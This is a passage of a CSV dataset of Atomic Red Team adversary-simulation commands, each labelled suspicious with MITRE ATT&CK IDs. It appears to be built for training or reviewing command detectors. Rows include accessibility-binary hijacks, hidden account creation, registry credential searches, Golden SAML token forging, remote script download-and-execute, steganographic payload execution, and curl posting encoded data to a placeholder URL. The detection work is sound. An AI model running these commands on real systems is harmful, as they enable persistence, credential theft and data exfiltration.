with cmd.exe. This allows the user to launch an elevated command prompt from the login screen by locking and then unlocking the computer after toggling on any of the accessibility tools in the Accessibility menu.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
eb800e8c74b4c5ca50c214eb,copy /Y C:\Windows\System32\AtBroker_backup.exe C:\Windows\System32\AtBroker.exe,copy /Y C:\Windows\System32\AtBroker_backup.exe C:\Windows\System32\AtBroker.exe,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.008/T1546.008.yaml,Replace AtBroker.exe (App Switcher binary) with cmd.exe,T1546.008,"[""T1546.008""]",windows,0.55,True,"Replace AtBroker.exe (App Switcher binary) with cmd.exe. This allows the user to launch an elevated command prompt from the login screen by locking and then unlocking the computer after toggling on any of the accessibility tools in the Accessibility menu.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
98f243a3a2f4469cabf4c8e5,"copy-item ""$env:windir\System32\cmd.exe"" -destination ""$env:allusersprofile\cmd.exe"" start-process ""$env:allusersprofile\cmd.exe"" sleep -s 5 stop-process -name ""cmd"" | out-null","copy-item ""$env:windir\System32\cmd.exe"" -destination ""$env:allusersprofile\cmd.exe"" start-process ""$env:allusersprofile\cmd.exe"" sleep -s 5 stop-process -name ""cmd"" | out-null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036/T1036.yaml,System File Copied to Unusual Location,T1036,"[""T1036""]",windows,0.9,False,It may be suspicious seeing a file copy of an EXE in System32 or SysWOW64 to a non-system directory or executing from a non-system directory.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ee36bbfb4aecad846523a9fb,"remove-item ""$env:allusersprofile\cmd.exe"" -force -erroraction silentlycontinue","remove-item ""$env:allusersprofile\cmd.exe"" -force -erroraction silentlycontinue",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036/T1036.yaml,System File Copied to Unusual Location,T1036,"[""T1036""]",windows,0.55,True,It may be suspicious seeing a file copy of an EXE in System32 or SysWOW64 to a non-system directory or executing from a non-system directory.,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ea665d8751b136795a6442d5,"Expand-Archive -Path ""PathToAtomicsFolder\..\ExternalPayloads\T1036.zip"" -DestinationPath ""$env:userprofile\Downloads\T1036"" -Force cd ""$env:userprofile\Downloads\T1036"" cmd /c ""$env:userprofile\Downloads\T1036\README.cmd"" >$null 2>$null","Expand-Archive -Path ""PathToAtomicsFolder\..\ExternalPayloads\T1036.zip"" -DestinationPath ""$env:userprofile\Downloads\T1036"" -Force cd ""$env:userprofile\Downloads\T1036"" cmd /c ""$env:userprofile\Downloads\T1036\README.cmd"" >$null 2>$null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036/T1036.yaml,Malware Masquerading and Execution from Zip File,T1036,"[""T1036""]",windows,0.9,False,"When the file is unzipped and the README.cmd file opened, it executes and changes the .pdf to .dll and executes the dll. This is a BazaLoader technique [as reported here](https://twitter.com/ffforward/status/1481672378639912960)",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
59be4e2ade39df8e0fe84b60,"taskkill /IM Calculator.exe /f >$null 2>$null Remove-Item ""$env:userprofile\Downloads\T1036"" -recurse -ErrorAction Ignore","taskkill /IM Calculator.exe /f >$null 2>$null Remove-Item ""$env:userprofile\Downloads\T1036"" -recurse -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1036/T1036.yaml,Malware Masquerading and Execution from Zip File,T1036,"[""T1036""]",windows,0.55,True,"When the file is unzipped and the README.cmd file opened, it executes and changes the .pdf to .dll and executes the dll. This is a BazaLoader technique [as reported here](https://twitter.com/ffforward/status/1481672378639912960)",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
118d49579beeb442b094d9b0,"cscript ""#{vbscript}"" > $env:TEMP\T1059.005.out.txt","cscript ""#{vbscript}"" > $env:TEMP\T1059.005.out.txt",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.005/T1059.005.yaml,Visual Basic script execution to gather local computer information,T1059.005,"[""T1059.005""]",windows,0.9,False,"Visual Basic execution test, execute vbscript via PowerShell.

When successful, system information will be written to $env:TEMP\T1059.005.out.txt.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d728ef867601c7458fe1443e,Remove-Item $env:TEMP\T1059.005.out.txt -ErrorAction Ignore,Remove-Item $env:TEMP\T1059.005.out.txt -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.005/T1059.005.yaml,Visual Basic script execution to gather local computer information,T1059.005,"[""T1059.005""]",windows,0.55,True,"Visual Basic execution test, execute vbscript via PowerShell.

When successful, system information will be written to $env:TEMP\T1059.005.out.txt.",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
adc81a9e12707c23956e7978,"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) Invoke-Maldoc -macroFile ""PathToAtomicsFolder\T1059.005\src\T1059.005-macrocode.txt"" -officeProduct ""Word"" -sub ""Exec""","[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) Invoke-Maldoc -macroFile ""PathToAtomicsFolder\T1059.005\src\T1059.005-macrocode.txt"" -officeProduct ""Word"" -sub ""Exec""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.005/T1059.005.yaml,Encoded VBS code execution,T1059.005,"[""T1059.005""]",windows,0.9,False,"This module takes an encoded VBS script and executes it from within a malicious document. By default, upon successful execution
a message box will pop up displaying ""ART T1059.005""

A note regarding this module, due to the way that this module utilizes ""ScriptControl"" a 64bit version of Microsoft Office is required.
You can validate this by opening WinWord -> File -> Account -> About Word
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
13db9df1b9b84f64ce3d1c83,"Get-WmiObject win32_process | Where-Object {$_.CommandLine -like ""*mshta*""} | % { ""$(Stop-Process $_.ProcessID)"" } | Out-Null","Get-WmiObject win32_process | Where-Object {$_.CommandLine -like ""*mshta*""} | % { ""$(Stop-Process $_.ProcessID)"" } | Out-Null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.005/T1059.005.yaml,Encoded VBS code execution,T1059.005,"[""T1059.005""]",windows,0.55,True,"This module takes an encoded VBS script and executes it from within a malicious document. By default, upon successful execution
a message box will pop up displaying ""ART T1059.005""

A note regarding this module, due to the way that this module utilizes ""ScriptControl"" a 64bit version of Microsoft Office is required.
You can validate this by opening WinWord -> File -> Account -> About Word
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9c720770a895906a59f2f0a1,"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) Invoke-Maldoc -macroFile ""PathToAtomicsFolder\T1059.005\src\T1059_005-macrocode.txt"" -officeProduct ""Word"" -sub ""Extract""","[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) Invoke-Maldoc -macroFile ""PathToAtomicsFolder\T1059.005\src\T1059_005-macrocode.txt"" -officeProduct ""Word"" -sub ""Extract""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.005/T1059.005.yaml,Extract Memory via VBA,T1059.005,"[""T1059.005""]",windows,0.9,False,"This module attempts to emulate malware authors utilizing well known techniques to extract data from memory/binary files. To do this
we first create a string in memory then pull out the pointer to that string. Finally, it uses this pointer to copy the contents of that
memory location to a file stored in the $env:TEMP\atomic_t1059_005_test_output.bin.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a3d81a71c61fb03f418d2fa8,"Remove-Item ""$env:TEMP\atomic_t1059_005_test_output.bin"" -ErrorAction Ignore","Remove-Item ""$env:TEMP\atomic_t1059_005_test_output.bin"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1059.005/T1059.005.yaml,Extract Memory via VBA,T1059.005,"[""T1059.005""]",windows,0.55,True,"This module attempts to emulate malware authors utilizing well known techniques to extract data from memory/binary files. To do this
we first create a string in memory then pull out the pointer to that string. Finally, it uses this pointer to copy the contents of that
memory location to a file stored in the $env:TEMP\atomic_t1059_005_test_output.bin.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b0225597419b0db1097b27f2,sudo dscl . -create /Users/#{user_name} UniqueID 333,sudo dscl . -create /Users/#{user_name} UniqueID 333,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.002/T1564.002.yaml,Create Hidden User using UniqueID < 500,T1564.002,"[""T1564.002""]",macos,0.9,False,"Add a hidden user on macOS using Unique ID < 500 (users with that ID are hidden by default)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f48ebfced0bc8af419179302,sudo dscl . -delete /Users/#{user_name},sudo dscl . -delete /Users/#{user_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.002/T1564.002.yaml,Create Hidden User using UniqueID < 500,T1564.002,"[""T1564.002""]",macos,0.55,True,"Add a hidden user on macOS using Unique ID < 500 (users with that ID are hidden by default)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3b633bd7552d86531cadad98,sudo dscl . -create /Users/#{user_name} IsHidden 1,sudo dscl . -create /Users/#{user_name} IsHidden 1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.002/T1564.002.yaml,Create Hidden User using IsHidden option,T1564.002,"[""T1564.002""]",macos,0.9,False,"Add a hidden user on macOS using IsHidden optoin
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3fcc67bca72a99850e140157,"NET USER #{user_name}$ #{user_password} /ADD /expires:never REG ADD ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist"" /v #{user_name}$ /t REG_DWORD /d 0","NET USER #{user_name}$ #{user_password} /ADD /expires:never REG ADD ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist"" /v #{user_name}$ /t REG_DWORD /d 0",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.002/T1564.002.yaml,Create Hidden User in Registry,T1564.002,"[""T1564.002""]",windows,0.9,False,"Adversaries may similarly hide user accounts in Windows. Adversaries can set the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList Registry key value to 0 for a specific user to prevent that user from being listed on the logon screen.
Reference https://attack.mitre.org/techniques/T1564/002/ and https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
04cfdd10b2eac8d2929b8dae,"reg delete ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist"" /v #{user_name}$ /f >nul 2>&1 net user ${user_name}$ /delete >nul 2>&1","reg delete ""HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist"" /v #{user_name}$ /f >nul 2>&1 net user ${user_name}$ /delete >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1564.002/T1564.002.yaml,Create Hidden User in Registry,T1564.002,"[""T1564.002""]",windows,0.55,True,"Adversaries may similarly hide user accounts in Windows. Adversaries can set the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList Registry key value to 0 for a specific user to prevent that user from being listed on the logon screen.
Reference https://attack.mitre.org/techniques/T1564/002/ and https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9aedfd110c682a743b5fed21,regsvr32.exe #{dll_payload},regsvr32.exe #{dll_payload},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1553.003/T1553.003.yaml,SIP (Subject Interface Package) Hijacking via Custom DLL,T1553.003,"[""T1553.003""]",windows,0.9,False,"Registers a DLL that logs signature checks, mimicking SIP hijacking. This test uses a DLL from 
https://github.com/gtworek/PSBits/tree/master/SIP and registers it using regsvr32, thereby causing
the system to utilize it during signature checks, and logging said checks.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ccbdd508b9fe218d5bff1a20,regsvr32.exe /u #{dll_payload},regsvr32.exe /u #{dll_payload},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1553.003/T1553.003.yaml,SIP (Subject Interface Package) Hijacking via Custom DLL,T1553.003,"[""T1553.003""]",windows,0.55,True,"Registers a DLL that logs signature checks, mimicking SIP hijacking. This test uses a DLL from 
https://github.com/gtworek/PSBits/tree/master/SIP and registers it using regsvr32, thereby causing
the system to utilize it during signature checks, and logging said checks.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1bde56f935a5ec0953b460fb,"Get-Content ""#{image_file}"", ""#{tar_file}"" -Encoding byte -ReadCount 0 | Set-Content ""#{new_image_file}"" -Encoding byte","Get-Content ""#{image_file}"", ""#{tar_file}"" -Encoding byte -ReadCount 0 | Set-Content ""#{new_image_file}"" -Encoding byte",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1001.002/T1001.002.yaml,Steganographic Tarball Embedding,T1001.002,"[""T1001.002""]",windows,0.9,False,"This atomic test, named ""Steganographic Tarball Embedding"", simulates the technique of data obfuscation via steganography by embedding a tar archive file (tarball) 
within an image.

The test begins by ensuring the availability of the image file and the tarball file containing data . It then generates random passwords and saves them to a 
file. Subsequently, the tarball file is created, containing the passwords file. The test executor command reads the contents of the image 
file and the tarball",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2c413fcd2b8001cbf98aab1d,"Set-ExecutionPolicy Bypass -Scope Process -Force -ErrorAction Ignore Remove-Item -Path ""#{new_image_file}"" -Force -ErrorAction Ignore","Set-ExecutionPolicy Bypass -Scope Process -Force -ErrorAction Ignore Remove-Item -Path ""#{new_image_file}"" -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1001.002/T1001.002.yaml,Steganographic Tarball Embedding,T1001.002,"[""T1001.002""]",windows,0.55,True,"This atomic test, named ""Steganographic Tarball Embedding"", simulates the technique of data obfuscation via steganography by embedding a tar archive file (tarball) 
within an image.

The test begins by ensuring the availability of the image file and the tarball file containing data . It then generates random passwords and saves them to a 
file. Subsequently, the tarball file is created, containing the passwords file. The test executor command reads the contents of the image 
file and the tarball",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3831c8ec2d87cfac897ff796,"Set-ExecutionPolicy Bypass -Scope Process -Force -ErrorAction Ignore Remove-Item -Path ""$HOME\result.ps1"" -Force -ErrorAction Ignore Remove-Item -Path ""$HOME\textExtraction.ps1"" -Force -ErrorAction Ignore Remove-Item -Path ""$HOME\decoded.ps1"" -Force -ErrorAction Ignore","Set-ExecutionPolicy Bypass -Scope Process -Force -ErrorAction Ignore Remove-Item -Path ""$HOME\result.ps1"" -Force -ErrorAction Ignore Remove-Item -Path ""$HOME\textExtraction.ps1"" -Force -ErrorAction Ignore Remove-Item -Path ""$HOME\decoded.ps1"" -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1001.002/T1001.002.yaml,Embedded Script in Image Execution via Extract-Invoke-PSImage,T1001.002,"[""T1001.002""]",windows,0.55,True,"This atomic test demonstrates the technique of data obfuscation via steganography, where a PowerShell script is concealed within an image file. 
The PowerShell script is embedded using steganography techniques, making it undetectable by traditional security measures. The script is hidden 
within the pixels of the image, enabling attackers to covertly transfer and execute malicious code across systems.

The test begins by ensuring the availability of the malicious image file and the Extract-Invok",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
35f26a2df42ffc0299327d60,"cat ""#{script}"" | base64 | xxd -p | sed 's/../& /g' | xargs -n1 | xxd -r -p | cat ""#{image}"" - > ""#{evil_image}""; strings ""#{evil_image}"" | tail -n 1 | base64 -d | sh","cat ""#{script}"" | base64 | xxd -p | sed 's/../& /g' | xargs -n1 | xxd -r -p | cat ""#{image}"" - > ""#{evil_image}""; strings ""#{evil_image}"" | tail -n 1 | base64 -d | sh",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1001.002/T1001.002.yaml,Execute Embedded Script in Image via Steganography,T1001.002,"[""T1001.002""]",linux,0.9,False,"This atomic test demonstrates the execution of an embedded script in an image file using steganography techniques. The script is first encoded in base64 and then embedded within the pixels of the image. The modified image is created, and the script is extracted and executed on the target system.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
69d9512a71a7948f72e5f011,"rm ""#{evil_image}""","rm ""#{evil_image}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1001.002/T1001.002.yaml,Execute Embedded Script in Image via Steganography,T1001.002,"[""T1001.002""]",linux,0.55,True,"This atomic test demonstrates the execution of an embedded script in an image file using steganography techniques. The script is first encoded in base64 and then embedded within the pixels of the image. The modified image is created, and the script is extracted and executed on the target system.",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
588d0179ad7596b0d93b35b9,echo -n 111-11-1111 | base64 curl -XPOST #{base64_data}.#{destination_url},echo -n 111-11-1111 | base64 curl -XPOST #{base64_data}.#{destination_url},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1132.001/T1132.001.yaml,Base64 Encoded data.,T1132.001,"[""T1132.001""]","macos,linux",0.9,False,"Utilizing a common technique for posting base64 encoded data.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
feac0bcfe00d7fecfb3f4560,echo -n 111-11-1111 | b64encode -r - curl -XPOST #{base64_data}.#{destination_url},echo -n 111-11-1111 | b64encode -r - curl -XPOST #{base64_data}.#{destination_url},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1132.001/T1132.001.yaml,Base64 Encoded data (freebsd),T1132.001,"[""T1132.001""]",linux,0.9,False,"Utilizing a common technique for posting base64 encoded data.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
47cb79c3c623a95eee4eb580,"$plaintext = ([system.Text.Encoding]::UTF8.getBytes(""#{plaintext}"")) $key = ""#{key}"" $cyphertext = @(); for ($i = 0; $i -lt $plaintext.Count; $i++) { $cyphertext += $plaintext[$i] -bxor $key[$i % $key.Length]; } $cyphertext = [system.Text.Encoding]::UTF8.getString($cyphertext) [System.Net.ServicePointManager]::Expect100Continue = $false Invoke-WebRequest -Uri #{destination_url} -Method POST -Body $cyphertext -DisableKeepAlive","$plaintext = ([system.Text.Encoding]::UTF8.getBytes(""#{plaintext}"")) $key = ""#{key}"" $cyphertext = @(); for ($i = 0; $i -lt $plaintext.Count; $i++) { $cyphertext += $plaintext[$i] -bxor $key[$i % $key.Length]; } $cyphertext = [system.Text.Encoding]::UTF8.getString($cyphertext) [System.Net.ServicePointManager]::Expect100Continue = $false Invoke-WebRequest -Uri #{destination_url} -Method POST -Body $cyphertext -DisableKeepAlive",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1132.001/T1132.001.yaml,XOR Encoded data.,T1132.001,"[""T1132.001""]",windows,0.9,False,"XOR encodes the data with a XOR key.
Reference - https://gist.github.com/loadenmb/8254cee0f0287b896a05dcdc8a30042f
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0cfd4ac1fdac1e2c83289816,reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s,reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.002/T1552.002.yaml,Enumeration for Credentials in Registry,T1552.002,"[""T1552.002""]",windows,0.9,False,"Queries to enumerate for credentials in the Registry. Upon execution, any registry key containing the word ""password"" will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a3e4d728f2733e76dfbeb1ea,reg query HKCU\Software\SimonTatham\PuTTY\Sessions /t REG_SZ /s,reg query HKCU\Software\SimonTatham\PuTTY\Sessions /t REG_SZ /s,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.002/T1552.002.yaml,Enumeration for PuTTY Credentials in Registry,T1552.002,"[""T1552.002""]",windows,0.9,False,"Queries to enumerate for PuTTY credentials in the Registry. PuTTY must be installed for this test to work. If any registry
entries are found, they will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
18464f6c3f083fbce1353fd8,"Import-Module AADInternals -Force $saml = New-AADIntSAMLToken -ImmutableID ""#{immutable_id}"" -PfxFileName ""#{certificate_path}"" -Issuer ""#{issuer_uri}"" $conn = Get-AADIntAccessTokenForAADGraph -SAMLToken $saml -SaveToCache if ($conn) { Write-Host ""`nSuccessfully connected as $($conn.User)"" } else { Write-Host ""`nThe connection failed"" } Write-Host ""End of Golden SAML""","Import-Module AADInternals -Force $saml = New-AADIntSAMLToken -ImmutableID ""#{immutable_id}"" -PfxFileName ""#{certificate_path}"" -Issuer ""#{issuer_uri}"" $conn = Get-AADIntAccessTokenForAADGraph -SAMLToken $saml -SaveToCache if ($conn) { Write-Host ""`nSuccessfully connected as $($conn.User)"" } else { Write-Host ""`nThe connection failed"" } Write-Host ""End of Golden SAML""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1606.002/T1606.002.yaml,Golden SAML,T1606.002,"[""T1606.002""]",azure-ad,0.9,False,"Forge a ""Golden SAML"" token which allows to impersonate any Azure AD user, and authenticate to AADGraph (as a proof). 
You will need the ADFS token signing certificate (see T1552.004 to export it).
More info here : https://o365blog.com/post/adfs/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e2712bff07b86205347971b1,echo [InternetShortcut] > #{shortcut_file_path} echo URL=C:\windows\system32\calc.exe >> #{shortcut_file_path} #{shortcut_file_path},echo [InternetShortcut] > #{shortcut_file_path} echo URL=C:\windows\system32\calc.exe >> #{shortcut_file_path} #{shortcut_file_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.009/T1547.009.yaml,Shortcut Modification,T1547.009,"[""T1547.009""]",windows,0.9,False,"This test to simulate shortcut modification and then execute. example shortcut (*.lnk , .url) strings check with powershell;
gci -path ""C:\Users"" -recurse -include *.url -ea SilentlyContinue | Select-String -Pattern ""exe"" | FL.
Upon execution, calc.exe will be launched.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
45795c9063a80bd2109495e8,del -f #{shortcut_file_path} >nul 2>&1,del -f #{shortcut_file_path} >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.009/T1547.009.yaml,Shortcut Modification,T1547.009,"[""T1547.009""]",windows,0.55,True,"This test to simulate shortcut modification and then execute. example shortcut (*.lnk , .url) strings check with powershell;
gci -path ""C:\Users"" -recurse -include *.url -ea SilentlyContinue | Select-String -Pattern ""exe"" | FL.
Upon execution, calc.exe will be launched.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
483b2caa42c0d4b17d88ff92,"Remove-Item ""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk"" -ErrorAction Ignore Remove-Item ""$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk"" -ErrorAction Ignore","Remove-Item ""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk"" -ErrorAction Ignore Remove-Item ""$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.009/T1547.009.yaml,Create shortcut to cmd in startup folders,T1547.009,"[""T1547.009""]",windows,0.55,True,"LNK file to launch CMD placed in startup folder. Upon execution, open File Explorer and browse to ""%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\""
to view the new shortcut.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
13a77117feb9f7c5650c1766,"""#{msxsl_exe}"" ""#{xmlfile}"" ""#{xslfile}""","""#{msxsl_exe}"" ""#{xmlfile}"" ""#{xslfile}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1220/T1220.yaml,MSXSL Bypass using local files,T1220,"[""T1220""]",windows,0.9,False,"Executes the code specified within a XSL script tag during XSL transformation using a local payload. 
Requires download of MSXSL. No longer available from Microsoft.
(Available via Internet Archive https://web.archive.org/web/20200825011623/https://www.microsoft.com/en-us/download/details.aspx?id=21714 ) 
Open Calculator.exe when test successfully executed, while AV turned off.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f5ad1dcdb799d9b81b7e68e8,"del ""#{msxsl_exe}"" >nul 2>&1","del ""#{msxsl_exe}"" >nul 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1220/T1220.yaml,MSXSL Bypass using local files,T1220,"[""T1220""]",windows,0.55,True,"Executes the code specified within a XSL script tag during XSL transformation using a local payload. 
Requires download of MSXSL. No longer available from Microsoft.
(Available via Internet Archive https://web.archive.org/web/20200825011623/https://www.microsoft.com/en-us/download/details.aspx?id=21714 ) 
Open Calculator.exe when test successfully executed, while AV turned off.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0298f712405c754d022c0847,del -Path #{msxsl_exe} >nul 2>&1,del -Path #{msxsl_exe} >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1220/T1220.yaml,MSXSL Bypass using remote files,T1220,"[""T1220""]",windows,0.55,True,"Executes the code specified within a XSL script tag during XSL transformation using a remote payload.
Requires download of MSXSL.exe. No longer available from Microsoft.
(Available via Internet Archive https://web.archive.org/web/20200825011623/https://www.microsoft.com/en-us/download/details.aspx?id=21714 )
Open Calculator.exe when test successfully executed, while AV turned off.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9f9aac5c3498bd1b609fcc2c,"wmic #{wmic_command} /FORMAT:""#{local_xsl_file}""","wmic #{wmic_command} /FORMAT:""#{local_xsl_file}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1220/T1220.yaml,WMIC bypass using local XSL file,T1220,"[""T1220""]",windows,0.9,False,"Executes the code specified within a XSL script using a local payload.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9efdeffc993aad36ee8894ba,"wmic #{wmic_command} /FORMAT:""#{remote_xsl_file}""","wmic #{wmic_command} /FORMAT:""#{remote_xsl_file}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1220/T1220.yaml,WMIC bypass using remote XSL file,T1220,"[""T1220""]",windows,0.9,False,"Executes the code specified within a XSL script using a remote payload. Open Calculator.exe when test successfully executed, while AV turned off.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
91f9fc332a46fa1b89c99fef,wmic useraccount get /ALL /format:csv,wmic useraccount get /ALL /format:csv,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1047/T1047.yaml,WMI Reconnaissance Users,T1047,"[""T1047""]",windows,0.9,False,"An adversary might use WMI to list all local User Accounts. 
When the test completes , there should be local user accounts information displayed on the command line.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8db3fba292a8b40b3f06b685,"wmic process get caption,executablepath,commandline /format:csv","wmic process get caption,executablepath,commandline /format:csv",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1047/T1047.yaml,WMI Reconnaissance Processes,T1047,"[""T1047""]",windows,0.9,False,"An adversary might use WMI to list Processes running on the compromised host.
When the test completes , there should be running processes listed on the command line.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
